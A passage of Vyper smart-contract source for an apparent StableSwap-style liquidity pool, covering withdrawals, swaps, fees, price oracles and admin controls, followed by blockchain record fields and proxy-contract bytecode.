RemoveLiquidityOne(msg.sender, i, _burn_amount, dy, self.total_supply) self.upkeep_oracles(xp, amp, D) return dy @external @nonreentrant('lock') def remove_liquidity_imbalance( _amounts: DynArray[uint256, MAX_COINS], _max_burn_amount: uint256, _receiver: address = msg.sender ) -> uint256: """ @notice Withdraw coins from the pool in an imbalanced amount @param _amounts List of amounts of underlying coins to withdraw @param _max_burn_amount Maximum amount of LP token to burn in the withdrawal @param _receiver Address that receives the withdrawn coins @return Actual amount of the LP token burned in the withdrawal """ amp: uint256 = self._A() rates: DynArray[uint256, MAX_COINS] = self._stored_rates() old_balances: DynArray[uint256, MAX_COINS] = self._balances() D0: uint256 = self.get_D_mem(rates, old_balances, amp) new_balances: DynArray[uint256, MAX_COINS] = old_balances for i in range(N_COINS_128, bound=MAX_COINS_128): if _amounts[i] != 0: new_balances[i] -= _amounts[i] self._transfer_out(i, _amounts[i], _receiver) D1: uint256 = self.get_D_mem(rates, new_balances, amp) base_fee: uint256 = unsafe_div( unsafe_mul(self.fee, N_COINS), unsafe_mul(4, unsafe_sub(N_COINS, 1)) ) ys: uint256 = unsafe_div((D0 + D1), N_COINS) fees: DynArray[uint256, MAX_COINS] = empty(DynArray[uint256, MAX_COINS]) dynamic_fee: uint256 = 0 xs: uint256 = 0 ideal_balance: uint256 = 0 difference: uint256 = 0 new_balance: uint256 = 0 for i in range(N_COINS_128, bound=MAX_COINS_128): ideal_balance = D1 * old_balances[i] / D0 difference = 0 new_balance = new_balances[i] if ideal_balance > new_balance: difference = unsafe_sub(ideal_balance, new_balance) else: difference = unsafe_sub(new_balance, ideal_balance) xs = unsafe_div(rates[i] * (old_balances[i] + new_balance), PRECISION) dynamic_fee = self._dynamic_fee(xs, ys, base_fee) fees.append(unsafe_div(dynamic_fee * difference, FEE_DENOMINATOR)) self.admin_balances[i] += unsafe_div(fees[i] * admin_fee, FEE_DENOMINATOR) new_balances[i] -= fees[i] D1 = self.get_D_mem(rates, new_balances, amp) # dev: reuse D1 for new D. self.upkeep_oracles(self._xp_mem(rates, new_balances), amp, D1) total_supply: uint256 = self.total_supply burn_amount: uint256 = unsafe_div((D0 - D1) * total_supply, D0) + 1 assert burn_amount > 1 # dev: zero tokens burned assert burn_amount <= _max_burn_amount, "Slippage screwed you" self._burnFrom(msg.sender, burn_amount) log RemoveLiquidityImbalance( msg.sender, _amounts, fees, D1, total_supply - burn_amount ) return burn_amount @external @nonreentrant('lock') def remove_liquidity( _burn_amount: uint256, _min_amounts: DynArray[uint256, MAX_COINS], _receiver: address = msg.sender, _claim_admin_fees: bool = True, ) -> DynArray[uint256, MAX_COINS]: """ @notice Withdraw coins from the pool @dev Withdrawal amounts are based on current deposit ratios @param _burn_amount Quantity of LP tokens to burn in the withdrawal @param _min_amounts Minimum amounts of underlying coins to receive @param _receiver Address that receives the withdrawn coins @return List of amounts of coins that were withdrawn """ total_supply: uint256 = self.total_supply assert _burn_amount > 0 # dev: invalid burn amount assert len(_min_amounts) == N_COINS # dev: invalid array length for _min_amounts amounts: DynArray[uint256, MAX_COINS] = empty(DynArray[uint256, MAX_COINS]) balances: DynArray[uint256, MAX_COINS] = self._balances() value: uint256 = 0 for i in range(N_COINS_128, bound=MAX_COINS_128): value = unsafe_div(balances[i] * _burn_amount, total_supply) assert value >= _min_amounts[i], "Withdrawal resulted in fewer coins than expected" amounts.append(value) self._transfer_out(i, value, _receiver) self._burnFrom(msg.sender, _burn_amount) # <---- Updates self.total_supply # --------------------------- Upkeep D_oracle ---------------------------- ma_last_time_unpacked: uint256[2] = self.unpack_2(self.ma_last_time) last_D_packed_current: uint256 = self.last_D_packed old_D: uint256 = last_D_packed_current & (2**128 - 1) self.last_D_packed = self.pack_2( old_D - unsafe_div(old_D * _burn_amount, total_supply), # new_D = proportionally reduce D. self._calc_moving_average( last_D_packed_current, self.D_ma_time, ma_last_time_unpacked[1] ) ) if ma_last_time_unpacked[1] < block.timestamp: ma_last_time_unpacked[1] = block.timestamp self.ma_last_time = self.pack_2(ma_last_time_unpacked[0], ma_last_time_unpacked[1]) # ------------------------------- Log event ------------------------------ log RemoveLiquidity( msg.sender, amounts, empty(DynArray[uint256, MAX_COINS]), unsafe_sub(total_supply, _burn_amount) ) # ------- Withdraw admin fees if _claim_admin_fees is set to True -------- if _claim_admin_fees: self._withdraw_admin_fees() return amounts @external @nonreentrant('lock') def withdraw_admin_fees(): """ @notice Claim admin fees. Callable by anyone. """ self._withdraw_admin_fees() # ------------------------ AMM Internal Functions ---------------------------- @view @internal def _dynamic_fee(xpi: uint256, xpj: uint256, _fee: uint256) -> uint256: _offpeg_fee_multiplier: uint256 = self.offpeg_fee_multiplier if _offpeg_fee_multiplier <= FEE_DENOMINATOR: return _fee xps2: uint256 = (xpi + xpj) ** 2 return unsafe_div( unsafe_mul(_offpeg_fee_multiplier, _fee), unsafe_add( unsafe_sub(_offpeg_fee_multiplier, FEE_DENOMINATOR) * 4 * xpi * xpj / xps2, FEE_DENOMINATOR ) ) @internal def __exchange( x: uint256, _xp: DynArray[uint256, MAX_COINS], rates: DynArray[uint256, MAX_COINS], i: int128, j: int128, ) -> uint256: amp: uint256 = self._A() D: uint256 = self.get_D(_xp, amp) y: uint256 = self.get_y(i, j, x, _xp, amp, D) dy: uint256 = _xp[j] - y - 1 # -1 just in case there were some rounding errors dy_fee: uint256 = unsafe_div( dy * self._dynamic_fee( unsafe_div(_xp[i] + x, 2), unsafe_div(_xp[j] + y, 2), self.fee ), FEE_DENOMINATOR ) # Convert all to real units dy = (dy - dy_fee) * PRECISION / rates[j] self.admin_balances[j] += unsafe_div( unsafe_div(dy_fee * admin_fee, FEE_DENOMINATOR) * PRECISION, rates[j] ) # Calculate and store state prices: xp: DynArray[uint256, MAX_COINS] = _xp xp[i] = x xp[j] = y # D is not changed because we did not apply a fee self.upkeep_oracles(xp, amp, D) return dy @internal def _exchange( sender: address, i: int128, j: int128, _dx: uint256, _min_dy: uint256, receiver: address, expect_optimistic_transfer: bool ) -> uint256: assert i != j # dev: coin index out of range assert _dx > 0 # dev: do not exchange 0 coins rates: DynArray[uint256, MAX_COINS] = self._stored_rates() old_balances: DynArray[uint256, MAX_COINS] = self._balances() xp: DynArray[uint256, MAX_COINS] = self._xp_mem(rates, old_balances) # --------------------------- Do Transfer in ----------------------------- # `dx` is whatever the pool received after ERC20 transfer: dx: uint256 = self._transfer_in( i, _dx, sender, expect_optimistic_transfer ) # ------------------------------- Exchange ------------------------------- x: uint256 = xp[i] + unsafe_div(dx * rates[i], PRECISION) dy: uint256 = self.__exchange(x, xp, rates, i, j) assert dy >= _min_dy, "Exchange resulted in fewer coins than expected" # --------------------------- Do Transfer out ---------------------------- self._transfer_out(j, dy, receiver) # ------------------------------------------------------------------------ log TokenExchange(msg.sender, i, dx, j, dy) return dy @internal def _withdraw_admin_fees(): fee_receiver: address = factory.fee_receiver() if fee_receiver == empty(address): return # Do nothing. admin_balances: DynArray[uint256, MAX_COINS] = self.admin_balances for i in range(N_COINS_128, bound=MAX_COINS_128): if admin_balances[i] > 0: self._transfer_out(i, admin_balances[i], fee_receiver) admin_balances[i] = 0 self.admin_balances = admin_balances # --------------------------- AMM Math Functions ----------------------------- @view @internal def get_y( i: int128, j: int128, x: uint256, xp: DynArray[uint256, MAX_COINS], _amp: uint256, _D: uint256 ) -> uint256: """ Calculate x[j] if one makes x[i] = x Done by solving quadratic equation iteratively. x_1**2 + x_1 * (sum' - (A*n**n - 1) * D / (A * n**n)) = D ** (n + 1) / (n ** (2 * n) * prod' * A) x_1**2 + b*x_1 = c x_1 = (x_1**2 + c) / (2*x_1 + b) """ # x in the input is converted to the same price/precision assert i != j # dev: same coin assert j >= 0 # dev: j below zero assert j < N_COINS_128 # dev: j above N_COINS # should be unreachable, but good for safety assert i >= 0 assert i < N_COINS_128 amp: uint256 = _amp D: uint256 = _D S_: uint256 = 0 _x: uint256 = 0 y_prev: uint256 = 0 c: uint256 = D Ann: uint256 = amp * N_COINS for _i in range(MAX_COINS_128): if _i == N_COINS_128: break if _i == i: _x = x elif _i != j: _x = xp[_i] else: continue S_ += _x c = c * D / (_x * N_COINS) c = c * D * A_PRECISION / (Ann * N_COINS) b: uint256 = S_ + D * A_PRECISION / Ann # - D y: uint256 = D for _i in range(255): y_prev = y y = (y*y + c) / (2 * y + b - D) # Equality with the precision of 1 if y > y_prev: if y - y_prev <= 1: return y else: if y_prev - y <= 1: return y raise @pure @internal def get_D(_xp: DynArray[uint256, MAX_COINS], _amp: uint256) -> uint256: """ D invariant calculation in non-overflowing integer operations iteratively A * sum(x_i) * n**n + D = A * D * n**n + D**(n+1) / (n**n * prod(x_i)) Converging solution: D[j+1] = (A * n**n * sum(x_i) - D[j]**(n+1) / (n**n prod(x_i))) / (A * n**n - 1) """ S: uint256 = 0 for x in _xp: S += x if S == 0: return 0 D: uint256 = S Ann: uint256 = _amp * N_COINS for i in range(255): D_P: uint256 = D for x in _xp: D_P = D_P * D / x D_P /= pow_mod256(N_COINS, N_COINS) Dprev: uint256 = D # (Ann * S / A_PRECISION + D_P * N_COINS) * D / ((Ann - A_PRECISION) * D / A_PRECISION + (N_COINS + 1) * D_P) D = ( (unsafe_div(Ann * S, A_PRECISION) + D_P * N_COINS) * D / ( unsafe_div((Ann - A_PRECISION) * D, A_PRECISION) + unsafe_add(N_COINS, 1) * D_P ) ) # Equality with the precision of 1 if D > Dprev: if D - Dprev <= 1: return D else: if Dprev - D <= 1: return D # convergence typically occurs in 4 rounds or less, this should be unreachable! # if it does happen the pool is borked and LPs can withdraw via `remove_liquidity` raise @pure @internal def get_y_D( A: uint256, i: int128, xp: DynArray[uint256, MAX_COINS], D: uint256 ) -> uint256: """ Calculate x[i] if one reduces D from being calculated for xp to D Done by solving quadratic equation iteratively. x_1**2 + x_1 * (sum' - (A*n**n - 1) * D / (A * n**n)) = D ** (n + 1) / (n ** (2 * n) * prod' * A) x_1**2 + b*x_1 = c x_1 = (x_1**2 + c) / (2*x_1 + b) """ # x in the input is converted to the same price/precision assert i >= 0 # dev: i below zero assert i < N_COINS_128 # dev: i above N_COINS S_: uint256 = 0 _x: uint256 = 0 y_prev: uint256 = 0 c: uint256 = D Ann: uint256 = A * N_COINS for _i in range(MAX_COINS_128): if _i == N_COINS_128: break if _i != i: _x = xp[_i] else: continue S_ += _x c = c * D / (_x * N_COINS) c = c * D * A_PRECISION / (Ann * N_COINS) b: uint256 = S_ + D * A_PRECISION / Ann y: uint256 = D for _i in range(255): y_prev = y y = (y*y + c) / (2 * y + b - D) # Equality with the precision of 1 if y > y_prev: if y - y_prev <= 1: return y else: if y_prev - y <= 1: return y raise @view @internal def _A() -> uint256: """ Handle ramping A up or down """ t1: uint256 = self.future_A_time A1: uint256 = self.future_A if block.timestamp < t1: A0: uint256 = self.initial_A t0: uint256 = self.initial_A_time # Expressions in uint256 cannot have negative numbers, thus "if" if A1 > A0: return A0 + unsafe_sub(A1, A0) * (block.timestamp - t0) / (t1 - t0) else: return A0 - unsafe_sub(A0, A1) * (block.timestamp - t0) / (t1 - t0) else: # when t1 == 0 or block.timestamp >= t1 return A1 @pure @internal def _xp_mem( _rates: DynArray[uint256, MAX_COINS], _balances: DynArray[uint256, MAX_COINS] ) -> DynArray[uint256, MAX_COINS]: result: DynArray[uint256, MAX_COINS] = empty(DynArray[uint256, MAX_COINS]) for i in range(N_COINS_128, bound=MAX_COINS_128): result.append(unsafe_div(_rates[i] * _balances[i], PRECISION)) return result @view @internal def get_D_mem( _rates: DynArray[uint256, MAX_COINS], _balances: DynArray[uint256, MAX_COINS], _amp: uint256 ) -> uint256: xp: DynArray[uint256, MAX_COINS] = self._xp_mem(_rates, _balances) return self.get_D(xp, _amp) @view @internal def _calc_withdraw_one_coin( _burn_amount: uint256, i: int128 ) -> ( uint256, uint256, DynArray[uint256, MAX_COINS], uint256, uint256 ): # First, need to calculate # * Get current D # * Solve Eqn against y_i for D - _token_amount amp: uint256 = self._A() rates: DynArray[uint256, MAX_COINS] = self._stored_rates() xp: DynArray[uint256, MAX_COINS] = self._xp_mem(rates, self._balances()) D0: uint256 = self.get_D(xp, amp) total_supply: uint256 = self.total_supply D1: uint256 = D0 - _burn_amount * D0 / total_supply new_y: uint256 = self.get_y_D(amp, i, xp, D1) base_fee: uint256 = unsafe_div( unsafe_mul(self.fee, N_COINS), unsafe_mul(4, unsafe_sub(N_COINS, 1)) ) xp_reduced: DynArray[uint256, MAX_COINS] = xp ys: uint256 = unsafe_div((D0 + D1), unsafe_mul(2, N_COINS)) dx_expected: uint256 = 0 xp_j: uint256 = 0 xavg: uint256 = 0 dynamic_fee: uint256 = 0 for j in range(MAX_COINS_128): if j == N_COINS_128: break dx_expected = 0 xp_j = xp[j] if j == i: dx_expected = xp_j * D1 / D0 - new_y xavg = unsafe_div((xp_j + new_y), 2) else: dx_expected = xp_j - xp_j * D1 / D0 xavg = xp_j dynamic_fee = self._dynamic_fee(xavg, ys, base_fee) xp_reduced[j] = xp_j - unsafe_div(dynamic_fee * dx_expected, FEE_DENOMINATOR) dy: uint256 = xp_reduced[i] - self.get_y_D(amp, i, xp_reduced, D1) dy_0: uint256 = (xp[i] - new_y) * PRECISION / rates[i] # w/o fees dy = unsafe_div((dy - 1) * PRECISION, rates[i]) # Withdraw less to account for rounding errors # update xp with new_y for p calculations. xp[i] = new_y return dy, dy_0 - dy, xp, amp, D1 # -------------------------- AMM Price Methods ------------------------------- @pure @internal def pack_2(p1: uint256, p2: uint256) -> uint256: assert p1 < 2**128 assert p2 < 2**128 return p1 | (p2 << 128) @pure @internal def unpack_2(packed: uint256) -> uint256[2]: return [packed & (2**128 - 1), packed >> 128] @internal @pure def _get_p( xp: DynArray[uint256, MAX_COINS], amp: uint256, D: uint256, ) -> DynArray[uint256, MAX_COINS]: # dx_0 / dx_1 only, however can have any number of coins in pool ANN: uint256 = unsafe_mul(amp, N_COINS) Dr: uint256 = unsafe_div(D, pow_mod256(N_COINS, N_COINS)) for i in range(N_COINS_128, bound=MAX_COINS_128): Dr = Dr * D / xp[i] p: DynArray[uint256, MAX_COINS] = empty(DynArray[uint256, MAX_COINS]) xp0_A: uint256 = unsafe_div(ANN * xp[0], A_PRECISION) for i in range(1, MAX_COINS): if i == N_COINS: break p.append(10**18 * (xp0_A + unsafe_div(Dr * xp[0], xp[i])) / (xp0_A + Dr)) return p @internal def upkeep_oracles(xp: DynArray[uint256, MAX_COINS], amp: uint256, D: uint256): """ @notice Upkeeps price and D oracles. """ ma_last_time_unpacked: uint256[2] = self.unpack_2(self.ma_last_time) last_prices_packed_current: DynArray[uint256, MAX_COINS] = self.last_prices_packed last_prices_packed_new: DynArray[uint256, MAX_COINS] = last_prices_packed_current spot_price: DynArray[uint256, MAX_COINS] = self._get_p(xp, amp, D) # -------------------------- Upkeep price oracle ------------------------- for i in range(MAX_COINS): if i == N_COINS - 1: break if spot_price[i] != 0: # Update packed prices ----------------- last_prices_packed_new[i] = self.pack_2( min(spot_price[i], 2 * 10**18), # <----- Cap spot value by 2. self._calc_moving_average( last_prices_packed_current[i], self.ma_exp_time, ma_last_time_unpacked[0], # index 0 is ma_last_time for prices ) ) self.last_prices_packed = last_prices_packed_new # ---------------------------- Upkeep D oracle --------------------------- last_D_packed_current: uint256 = self.last_D_packed self.last_D_packed = self.pack_2( D, self._calc_moving_average( last_D_packed_current, self.D_ma_time, ma_last_time_unpacked[1], # index 1 is ma_last_time for D ) ) # Housekeeping: Update ma_last_time for p and D oracles ------------------ for i in range(2): if ma_last_time_unpacked[i] < block.timestamp: ma_last_time_unpacked[i] = block.timestamp self.ma_last_time = self.pack_2(ma_last_time_unpacked[0], ma_last_time_unpacked[1]) @internal @view def _calc_moving_average( packed_value: uint256, averaging_window: uint256, ma_last_time: uint256 ) -> uint256: last_spot_value: uint256 = packed_value & (2**128 - 1) last_ema_value: uint256 = (packed_value >> 128) if ma_last_time < block.timestamp: # calculate new_ema_value and return that. alpha: uint256 = self.exp( -convert( unsafe_div(unsafe_mul(unsafe_sub(block.timestamp, ma_last_time), 10**18), averaging_window), int256 ) ) return unsafe_div(last_spot_value * (10**18 - alpha) + last_ema_value * alpha, 10**18) return last_ema_value @view @external def last_price(i: uint256) -> uint256: return self.last_prices_packed[i] & (2**128 - 1) @view @external def ema_price(i: uint256) -> uint256: return (self.last_prices_packed[i] >> 128) @external @view def get_p(i: uint256) -> uint256: """ @notice Returns the AMM State price of token @dev if i = 0, it will return the state price of coin[1]. @param i index of state price (0 for coin[1], 1 for coin[2], ...) @return uint256 The state price quoted by the AMM for coin[i+1] """ amp: uint256 = self._A() xp: DynArray[uint256, MAX_COINS] = self._xp_mem( self._stored_rates(), self._balances() ) D: uint256 = self.get_D(xp, amp) return self._get_p(xp, amp, D)[i] @external @view @nonreentrant('lock') def price_oracle(i: uint256) -> uint256: return self._calc_moving_average( self.last_prices_packed[i], self.ma_exp_time, self.ma_last_time & (2**128 - 1) ) @external @view @nonreentrant('lock') def D_oracle() -> uint256: return self._calc_moving_average( self.last_D_packed, self.D_ma_time, self.ma_last_time >> 128 ) # ----------------------------- Math Utils ----------------------------------- @internal @pure def exp(x: int256) -> uint256: """ @dev Calculates the natural exponential function of a signed integer with a precision of 1e18. @notice Note that this function consumes about 810 gas units. The implementation is inspired by Remco Bloemen's implementation under the MIT license here: https://xn--2-umb.com/22/exp-ln. @dev This implementation is derived from Snekmate, which is authored by pcaversaccio (Snekmate), distributed under the AGPL-3.0 license. https://github.com/pcaversaccio/snekmate @param x The 32-byte variable. @return int256 The 32-byte calculation result. """ value: int256 = x # If the result is `< 0.5`, we return zero. This happens when we have the following: # "x <= floor(log(0.5e18) * 1e18) ~ -42e18". if (x <= -41446531673892822313): return empty(uint256) # When the result is "> (2 ** 255 - 1) / 1e18" we cannot represent it as a signed integer. # This happens when "x >= floor(log((2 ** 255 - 1) / 1e18) * 1e18) ~ 135". assert x < 135305999368893231589, "wad_exp overflow" # `x` is now in the range "(-42, 136) * 1e18". Convert to "(-42, 136) * 2 ** 96" for higher # intermediate precision and a binary base. This base conversion is a multiplication with # "1e18 / 2 ** 96 = 5 ** 18 / 2 ** 78". value = unsafe_div(x << 78, 5 ** 18) # Reduce the range of `x` to "(-½ ln 2, ½ ln 2) * 2 ** 96" by factoring out powers of two # so that "exp(x) = exp(x') * 2 ** k", where `k` is a signer integer. Solving this gives # "k = round(x / log(2))" and "x' = x - k * log(2)". Thus, `k` is in the range "[-61, 195]". k: int256 = unsafe_add(unsafe_div(value << 96, 54916777467707473351141471128), 2 ** 95) >> 96 value = unsafe_sub(value, unsafe_mul(k, 54916777467707473351141471128)) # Evaluate using a "(6, 7)"-term rational approximation. Since `p` is monic, # we will multiply by a scaling factor later. y: int256 = unsafe_add(unsafe_mul(unsafe_add(value, 1346386616545796478920950773328), value) >> 96, 57155421227552351082224309758442) p: int256 = unsafe_add(unsafe_mul(unsafe_add(unsafe_mul(unsafe_sub(unsafe_add(y, value), 94201549194550492254356042504812), y) >> 96,\ 28719021644029726153956944680412240), value), 4385272521454847904659076985693276 << 96) # We leave `p` in the "2 ** 192" base so that we do not have to scale it up # again for the division. q: int256 = unsafe_add(unsafe_mul(unsafe_sub(value, 2855989394907223263936484059900), value) >> 96, 50020603652535783019961831881945) q = unsafe_sub(unsafe_mul(q, value) >> 96, 533845033583426703283633433725380) q = unsafe_add(unsafe_mul(q, value) >> 96, 3604857256930695427073651918091429) q = unsafe_sub(unsafe_mul(q, value) >> 96, 14423608567350463180887372962807573) q = unsafe_add(unsafe_mul(q, value) >> 96, 26449188498355588339934803723976023) # The polynomial `q` has no zeros in the range because all its roots are complex. # No scaling is required, as `p` is already "2 ** 96" too large. Also, # `r` is in the range "(0.09, 0.25) * 2**96" after the division. r: int256 = unsafe_div(p, q) # To finalise the calculation, we have to multiply `r` by: # - the scale factor "s = ~6.031367120", # - the factor "2 ** k" from the range reduction, and # - the factor "1e18 / 2 ** 96" for the base conversion. # We do this all at once, with an intermediate result in "2**213" base, # so that the final right shift always gives a positive value. # Note that to circumvent Vyper's safecast feature for the potentially # negative parameter value `r`, we first convert `r` to `bytes32` and # subsequently to `uint256`. Remember that the EVM default behaviour is # to use two's complement representation to handle signed integers. return unsafe_mul(convert(convert(r, bytes32), uint256), 3822833074963236453042738258902158003155416615667) >> convert(unsafe_sub(195, k), uint256) # ---------------------------- ERC20 Utils ----------------------------------- @view @internal def _domain_separator() -> bytes32: if chain.id != CACHED_CHAIN_ID: return keccak256( _abi_encode( EIP712_TYPEHASH, NAME_HASH, VERSION_HASH, chain.id, self, salt, ) ) return CACHED_DOMAIN_SEPARATOR @internal def _transfer(_from: address, _to: address, _value: uint256): # # NOTE: vyper does not allow underflows # # so the following subtraction would revert on insufficient balance self.balanceOf[_from] -= _value self.balanceOf[_to] += _value log Transfer(_from, _to, _value) @internal def _burnFrom(_from: address, _burn_amount: uint256): self.total_supply -= _burn_amount self.balanceOf[_from] -= _burn_amount log Transfer(_from, empty(address), _burn_amount) @external def transfer(_to : address, _value : uint256) -> bool: """ @dev Transfer token for a specified address @param _to The address to transfer to. @param _value The amount to be transferred. """ self._transfer(msg.sender, _to, _value) return True @external def transferFrom(_from : address, _to : address, _value : uint256) -> bool: """ @dev Transfer tokens from one address to another. @param _from address The address which you want to send tokens from @param _to address The address which you want to transfer to @param _value uint256 the amount of tokens to be transferred """ self._transfer(_from, _to, _value) _allowance: uint256 = self.allowance[_from][msg.sender] if _allowance != max_value(uint256): _new_allowance: uint256 = _allowance - _value self.allowance[_from][msg.sender] = _new_allowance log Approval(_from, msg.sender, _new_allowance) return True @external def approve(_spender : address, _value : uint256) -> bool: """ @notice Approve the passed address to transfer the specified amount of tokens on behalf of msg.sender @dev Beware that changing an allowance via this method brings the risk that someone may use both the old and new allowance by unfortunate transaction ordering: https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 @param _spender The address which will transfer the funds @param _value The amount of tokens that may be transferred @return bool success """ self.allowance[msg.sender][_spender] = _value log Approval(msg.sender, _spender, _value) return True @external def permit( _owner: address, _spender: address, _value: uint256, _deadline: uint256, _v: uint8, _r: bytes32, _s: bytes32 ) -> bool: """ @notice Approves spender by owner's signature to expend owner's tokens. See https://eips.ethereum.org/EIPS/eip-2612. @dev Inspired by https://github.com/yearn/yearn-vaults/blob/main/contracts/Vault.vy#L753-L793 @dev Supports smart contract wallets which implement ERC1271 https://eips.ethereum.org/EIPS/eip-1271 @param _owner The address which is a source of funds and has signed the Permit. @param _spender The address which is allowed to spend the funds. @param _value The amount of tokens to be spent. @param _deadline The timestamp after which the Permit is no longer valid. @param _v The bytes[64] of the valid secp256k1 signature of permit by owner @param _r The bytes[0:32] of the valid secp256k1 signature of permit by owner @param _s The bytes[32:64] of the valid secp256k1 signature of permit by owner @return True, if transaction completes successfully """ assert _owner != empty(address) assert block.timestamp <= _deadline nonce: uint256 = self.nonces[_owner] digest: bytes32 = keccak256( concat( b"\x19\x01", self._domain_separator(), keccak256(_abi_encode(EIP2612_TYPEHASH, _owner, _spender, _value, nonce, _deadline)) ) ) if _owner.is_contract: sig: Bytes[65] = concat(_abi_encode(_r, _s), slice(convert(_v, bytes32), 31, 1)) # reentrancy not a concern since this is a staticcall assert ERC1271(_owner).isValidSignature(digest, sig) == ERC1271_MAGIC_VAL else: assert ecrecover(digest, convert(_v, uint256), convert(_r, uint256), convert(_s, uint256)) == _owner self.allowance[_owner][_spender] = _value self.nonces[_owner] = unsafe_add(nonce, 1) log Approval(_owner, _spender, _value) return True @view @external def DOMAIN_SEPARATOR() -> bytes32: """ @notice EIP712 domain separator. @return bytes32 Domain Separator set for the current chain. """ return self._domain_separator() # ------------------------- AMM View Functions ------------------------------- @view @external def get_dx(i: int128, j: int128, dy: uint256) -> uint256: """ @notice Calculate the current input dx given output dy @dev Index values can be found via the `coins` public getter method @param i Index value for the coin to send @param j Index value of the coin to receive @param dy Amount of `j` being received after exchange @return Amount of `i` predicted """ return StableSwapViews(factory.views_implementation()).get_dx(i, j, dy, self) @view @external def get_dy(i: int128, j: int128, dx: uint256) -> uint256: """ @notice Calculate the current output dy given input dx @dev Index values can be found via the `coins` public getter method @param i Index value for the coin to send @param j Index value of the coin to receive @param dx Amount of `i` being exchanged @return Amount of `j` predicted """ return StableSwapViews(factory.views_implementation()).get_dy(i, j, dx, self) @view @external def calc_withdraw_one_coin(_burn_amount: uint256, i: int128) -> uint256: """ @notice Calculate the amount received when withdrawing a single coin @param _burn_amount Amount of LP tokens to burn in the withdrawal @param i Index value of the coin to withdraw @return Amount of coin received """ return self._calc_withdraw_one_coin(_burn_amount, i)[0] @view @external @nonreentrant('lock') def totalSupply() -> uint256: """ @notice The total supply of pool LP tokens @return self.total_supply, 18 decimals. """ return self.total_supply @view @external @nonreentrant('lock') def get_virtual_price() -> uint256: """ @notice The current virtual price of the pool LP token @dev Useful for calculating profits. The method may be vulnerable to donation-style attacks if implementation contains rebasing tokens. For integrators, caution is advised. @return LP token virtual price normalized to 1e18 """ amp: uint256 = self._A() xp: DynArray[uint256, MAX_COINS] = self._xp_mem( self._stored_rates(), self._balances() ) D: uint256 = self.get_D(xp, amp) # D is in the units similar to DAI (e.g. converted to precision 1e18) # When balanced, D = n * x_u - total virtual value of the portfolio return D * PRECISION / self.total_supply @view @external def calc_token_amount( _amounts: DynArray[uint256, MAX_COINS], _is_deposit: bool ) -> uint256: """ @notice Calculate addition or reduction in token supply from a deposit or withdrawal @param _amounts Amount of each coin being deposited @param _is_deposit set True for deposits, False for withdrawals @return Expected amount of LP tokens received """ return StableSwapViews(factory.views_implementation()).calc_token_amount(_amounts, _is_deposit, self) @view @external def A() -> uint256: return unsafe_div(self._A(), A_PRECISION) @view @external def A_precise() -> uint256: return self._A() @view @external def balances(i: uint256) -> uint256: """ @notice Get the current balance of a coin within the pool, less the accrued admin fees @param i Index value for the coin to query balance of @return Token balance """ return self._balances()[i] @view @external def get_balances() -> DynArray[uint256, MAX_COINS]: return self._balances() @view @external def stored_rates() -> DynArray[uint256, MAX_COINS]: return self._stored_rates() @view @external def dynamic_fee(i: int128, j: int128) -> uint256: """ @notice Return the fee for swapping between `i` and `j` @param i Index value for the coin to send @param j Index value of the coin to receive @return Swap fee expressed as an integer with 1e10 precision """ return StableSwapViews(factory.views_implementation()).dynamic_fee(i, j, self) # --------------------------- AMM Admin Functions ---------------------------- @external def ramp_A(_future_A: uint256, _future_time: uint256): assert msg.sender == factory.admin() # dev: only owner assert block.timestamp >= self.initial_A_time + MIN_RAMP_TIME assert _future_time >= block.timestamp + MIN_RAMP_TIME # dev: insufficient time _initial_A: uint256 = self._A() _future_A_p: uint256 = _future_A * A_PRECISION assert _future_A > 0 and _future_A < MAX_A if _future_A_p < _initial_A: assert _future_A_p * MAX_A_CHANGE >= _initial_A else: assert _future_A_p <= _initial_A * MAX_A_CHANGE self.initial_A = _initial_A self.future_A = _future_A_p self.initial_A_time = block.timestamp self.future_A_time = _future_time log RampA(_initial_A, _future_A_p, block.timestamp, _future_time) @external def stop_ramp_A(): assert msg.sender == factory.admin() # dev: only owner current_A: uint256 = self._A() self.initial_A = current_A self.future_A = current_A self.initial_A_time = block.timestamp self.future_A_time = block.timestamp # now (block.timestamp < t1) is always False, so we return saved A log StopRampA(current_A, block.timestamp) @external def set_new_fee(_new_fee: uint256, _new_offpeg_fee_multiplier: uint256): assert msg.sender == factory.admin() # set new fee: assert _new_fee <= MAX_FEE self.fee = _new_fee # set new offpeg_fee_multiplier: assert _new_offpeg_fee_multiplier * _new_fee <= MAX_FEE * FEE_DENOMINATOR # dev: offpeg multiplier exceeds maximum self.offpeg_fee_multiplier = _new_offpeg_fee_multiplier log ApplyNewFee(_new_fee, _new_offpeg_fee_multiplier) @external def set_ma_exp_time(_ma_exp_time: uint256, _D_ma_time: uint256): """ @notice Set the moving average window of the price oracles. @param _ma_exp_time Moving average window for the price oracle. It is time_in_seconds / ln(2). @param _D_ma_time Moving average window for the D oracle. It is time_in_seconds / ln(2). """ assert msg.sender == factory.admin() # dev: only owner assert unsafe_mul(_ma_exp_time, _D_ma_time) > 0 # dev: 0 in input values self.ma_exp_time = _ma_exp_time self.D_ma_time = _D_ma_time log SetNewMATime(_ma_exp_time, _D_ma_time)
1
19,493,308
bc25e87df299ab63b83e51e1c1849eca017e30b55ec2cd384b7ab61aec1ec804
1b02d17e4c98682a51fc46010ccdc31bfa787ef5d845d6a954545ab48a0041ab
2c59df7054b2fdda72d94fb8f3fecfc4bd5cae41
a6b71e26c5e0845f74c812102ca7114b6a896ab2
c45c80a83d2b2b496371f60f3da5d30cc52606b9
608060405234801561001057600080fd5b506040516101e63803806101e68339818101604052602081101561003357600080fd5b8101908080519060200190929190505050600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1614156100ca576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260228152602001806101c46022913960400191505060405180910390fd5b806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055505060ab806101196000396000f3fe608060405273ffffffffffffffffffffffffffffffffffffffff600054167fa619486e0000000000000000000000000000000000000000000000000000000060003514156050578060005260206000f35b3660008037600080366000845af43d6000803e60008114156070573d6000fd5b3d6000f3fea2646970667358221220d1429297349653a4918076d650332de1a1068c5f3e07c5c82360c277770b955264736f6c63430007060033496e76616c69642073696e676c65746f6e20616464726573732070726f7669646564000000000000000000000000d9db270c1b5e3bd161e8c8503c55ceabee709552
